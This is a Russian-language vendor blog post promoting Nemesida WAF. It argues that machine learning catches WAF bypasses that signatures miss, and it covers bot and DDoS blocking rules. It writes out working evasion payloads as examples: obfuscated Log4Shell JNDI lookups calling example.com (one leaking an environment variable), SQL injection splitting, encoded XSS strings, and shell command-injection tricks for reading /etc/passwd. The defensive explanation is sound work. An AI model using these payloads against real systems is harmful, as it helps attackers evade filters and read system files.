Как стать автором
Обновить
0
Pentestit
Информационная безопасность

Защита веб-приложения в 2022: что должен уметь современный WAF

Время на прочтение6 мин
Количество просмотров4.9K

Мы регулярно слышим о том, что один сайт недоступен из-за DDoS-атак, а другой взломали и опубликовали непристойности на его страницах или слили/затерли данные. Один из самых популярных способов защиты веб-приложений - использовать WAF. Для выявления атак Nemesida WAF использует ML в виде модуля машинного обучения, но нам часто не верят, утверждая, что это лишь маркетинг. Что ж, давайте разбираться.

Поясняем за ML в Nemesida WAF

Для чего нам вообще нужен модуль машинного обучения Nemesida AI? Все очень просто - сигнатурный анализ работает быстро и понятно, но не точно.

Сигнатуры построены по принципу вхождения определенной последовательности символов в запрос. Чем точнее написан шаблон для анализа, тем выше вероятность отразить атаку. Однако, атакующий может обойти правило. Попытаетесь закрыть лазейку - обойдут и ее, и так по кругу. Из актуального - в CVE-2021-44228 представлен пример таких байпасов.

${jndi:dns://example.com/...}
${jndi:rmi://example.com/...}
${jndi:ldap://example.com/Basic/Command/Base64/...}
${jndi:${lower:l}${lower:d}a${lower:p}://ex${upper:a}mple.com/...}
${${::-j}${::-n}${::-d}${::-i}${::-r}${::-m}${::-i}://example.com/...}
$\{$\{::-j\}$\{::-n\}$\{::-d\}$\{::-i\}:$\{::-r\}$\{::-m\}$\{::-i\}://$\{env:USER\}.example.com/...}
${${env:ENV_NAME:-j}n${env:ENV_NAME:-d}i${env:ENV_NAME:-:}${env:ENV_NAME:-l}d${env:ENV_NAME:-a}p${env:ENV_NAME:-:}//example.com/...}

Первые 3 строки - пример эксплуатации уязвимости из-за некорректной работы интерфейса JNDI (Java Naming and Directory Interface), который позволяет программе на языке Java находить и подключать внешние объекты данных, данные могут загружаться атакующим буквально откуда угодно. Последний вариант, кстати, передает данные в Base64.

Последние 4 строчки - варанты байпасов для обхода WAF. Полезные нагрузки составлены на основе документации по Apache Log4j и включают в себя:

  • {lower:} и {upper:} - преобразование символов в верхний/нижний регистр;

  • {env:ENV_NAME:-} - использование переменной среды;

  • {::-} - подставновку строк.

Но вернемся к модулю машинного обучения Nemesida AI. Машинное обучение, в отличие от сигнатур, работает точно, но медленнее. Точность выявления атак, по сравнению с сигнатурами, увеличивается примерно на 30%. Модуль выявляет не вхождение определенного паттерна, а признаки атаки, как если бы живой человек анализировал запросы. По совокупности признаков принимается решение о блокировке. Но высокая точность увеличивает потребление ресурсов сервера.

Компромисом в этом вопросе стал комбинированный анализ, используя который, запросы с явными признаками атаки отсекаются сигнатурами, а неявными - поступают на анализ в модуль машинного обучения Nemesida AI.

В редких случаях возникновения ложных срабатываний их всегда можно экспортировать, после чего схожие запросы не будут блокироваться и войдут в обучающую выборку модуля машинного обучения.

Cколько байпасами не корми — все равно на сигнатуры смотрят

Способов обхода сигнатурного анализа можно придумать много — от банального расщепления нагрузки вроде un","ion se","lect или злоупотреблением функционала некоторых WAF, которые удаляют из запроса потенциально небезопасные конструкции, например, uniUNIONon, но не блокируют сам запрос, и до использования различных кодировок и манипуляций. Ключевые слова можно и не расщеплять, но убрать пробелы между ними:

union+/*!select*/(1),2,3...
union(select(1),2,3...

На кодировках основаны многие способы обхода WAF. Например, последовательность alert() можно частично или полностью передать в:

UTF-8

\x61\x6c\x65\x72\x74\x28\x29

UTF-16

\u0061\u006c\u0065\u0072\u0074\u0028\u0029

или UTF-32

u+00000061u+0000006cu+00000065u+00000072u+00000074u+00000028u+00000029

Есть еще HTTP Entity Encode, Base64, UTF-8 Halfwidth and Fullwidth Forms, множественные URL Encode и т. д.

Можно попробовать составлять сигнатуры, но, скорее всего, они просто увеличат количество ложных срабатываний или пропусков атак.

Другой пример - не используя кодировку запроса, а только особенность обработки данных Bash-интерпретатором (при наличии OS Command Injection), мы можем прочитать содержимое файла, например, /etc/passwd, выполнив расщепление данных с помощью кавычки:

ca't /et'c'/pas's'wd

или символа ?, который будет преобразован до нужной буквы (/bin/cat /etc/passwd):

/bi?/ca? /et?/pa??wd
/???/??t /???/pa??wd

Даже используя неинициализированную переменную можно расщипить последовательность /etc/passwd и обойти фильтрацию сигнатурами, где $u будет пустой строкой:

cat$u /etc$u/passwd$u

Изменяя разными способами один и тот же запрос, блокируемый сигнатурами WAF, мы можем получить выражение, которое WAF не распознает как атаку.

ec'h'o 'cat /etc/examplewd' | sed 's/example/pass/g' | bash

Данный метод последовательно выполняет: команду echo cat /etc/examplewd, затем с помощью функции sed необходимый участок строки cat /etc/examplewd заменяется по шаблону. После этого уже измененная строка передается в Bash и выполняется на сервере, возвращая результат пользователю. Для WAF такой запрос будет выглядеть как строка, в которой отсутствуют признаки сигнатур.

Перекрыть эти и им подобные техники без увеличения ложных срабатываний сигнатурным методом практически невозможно, но модуль машинного обучения вкупе с различными механизмами нормализации выявляет очень точно и эти, и многие другие методы обхода.

Боты... безжалостные и беспощадные

Боты - с ними сталкиваются все владельцы публичных веб-приложений.

Какую опасность представляют боты:

  • истощают ресурсы сервера избытком запросов (DoS, DDoS);

  • могут использоваться для сокрытия другой атаки;

  • сливают бюджет за счет злоупотребления функционалом авторизации или восстановления пароля по СМС;

  • используются для поулчения доступа к аккаунтам пользователей (Account Takeover);

  • Вынуждают сотрудников сервисов вручную выполнять определенные действия, которые неввозможно автоматизировать. Например, обработка повышенного количества заявок интернет-магазина и т.д.

Для блокирования подобных атак в Nemesida WAF используется 3 механизма:

  • выявление попыток перебора значений (подбор логина/пароля и т.д.);

  • выявление попыток злоупотребления СМС-функционалом;

  • выявление DDoS Layer 7

Иногда возникают ситуации, когда WAF еще не определил достаточное количество признаков атаки для блокировки, а действовать нужно "здесь и сейчас". Администратор/ИБ-специалист может помочь ему - самостоятельно выявить признаки атаки и составить правило блокировки. Рассмотрим примеры.

Блокируем обращения из определенной страны

На одно из защищаемых веб-приложений совершается DDoS-атака. Модулю Nemesida AI нужно некоторое время, чтобы определить признаки атаки и заблокировать их источник(и).

Но мы понимаем, что IP-адреса из Бразилии вряд ли будут обращаться к этому домену, наверняка это атака. Переходим в облачный сервис управления настройками Nemesida WAF и за пару кликов составляем правило блокировки всех запросов из Бразилии (BR) для домена shop.example.com:

Блокируем запросы для всех стран, кроме выбранных

Мы знаем, что к веб-приложению обычно обращаются, например, из России и США. Наблюдая за однотипными запросами из других стран, понимаем, что, скорее всего, это DDoS-атака. Поэтому создаем правило для блокировки всех запросов, которые поступают из стран, отличных от России и США:

Блокируем запросы с подозрительным User-Agent

Сайт shop.example.com международный и к нему могут обращаться пользователи из разных стран. Но в списке заблокированных запросов подмечаем один из признаков DDoS-атаки - подозрительный User-Agent curl/7.68.0:

Создаем еще одно правило, которое будет блокировать все запросы с curl/7.68.0 в User-Agent.

Выявление атак с помощью ботов может быть затруднено из-за отсутствия явных признаков атаки, в отличие от компрометационных атак (SQLi, XSS, RCE и т.д.). Временное ограничение по странам не всегда поможет, ровно как и попытки заблокировать по полю User-Agent или другим признакам — после нескольких блокировок ботнет может направить запросы с новых IP и с новыми полями. Для решения этой проблемы в Nemesida WAF мы используем набор признаков, влияющих на принятие решения о блокировании: репутационную GeoIP-базу, наличие адреса в списках прокси-серверов (VPN/Tor/etc) или хостинг-площадок и поведенческий анализ.

Машинное обучение или сигнатурный анализ?

Основные преимущества и недостатки каждого подхода можно сравнить в табилце:

Сигнатурный анализ

Машинное обучение

Преимущества:

1. Скорость обработки запроса выше.

Недостатки:

1. Количество ложных срабатываний выше;
2. Точность выявления атак ниже;
3. Не выявляет новые признаки атак;
4. Не выявляет аномалии (в том числе brute-force атаки);
5. Не способен оценивать уровень аномалий;
6. Не под каждую атаку возможно составить сигнатуру.

Преимущества:

1. Выявляет атаки более точно;
2. Количество ложных срабатываний минимально;
3. Выявляет аномалии;
4. Выявляет новые признаки атак.

Недостатки:

1. Требует дополнительных аппаратных ресурсов.

Веб-интерфейс

Никто не любит отслеживать атаки, просматривая тысячи и тысячи строчек журналов веб-сервера. В Nemesida WAF можно установить Личный кабинет, который будет собирать информацию об атаках и отображать их в понятном виде, а при желании можно интегрировать с SIEM-системами. Здесь и информация об атаках, и графики интенсивности атак по типам, и статистика по IP, и т.д. Хотите всегда быть в курсе событий - активируйте уведомления на почту.

Круто, где скачать?

Все модули Nemesida WAF представлены в виде установочных дистрибутивов для Ubuntu/Debian/CentOS и разворачиваются в инфраструктуре клиента (on-premises software). Анализ запросов и обучение поведенческих моделей происходит также в инфраструктуре клиента, не передавая трафик за периметр. Протестируйте Nemesida WAF бесплатно в течение 2-х недель и узнайте, как часто вас атакуют. Ссылка на Nemesida WAF: nemesida-waf.ru

Вы все еще на сигнатурах? Тогда мы идем к вам

Оценить качество защищенности веб-приложения может каждый. На Github мы опубликовали собственный инструмент waf-bypass, с помощью которого можно оценить используемый в данный момент WAF. Этот бесплатный инструмент содержит почти 1500 полезных нагрузок для SQLi, XSS, SSTI, RCE, LFI/RFI и т.д.

Теги:
Хабы:
+6
Комментарии6

Публикации

Изменить настройки темы

Информация

Сайт
www.pentestit.ru
Дата регистрации
Дата основания
Численность
11–30 человек
Местоположение
Россия

Истории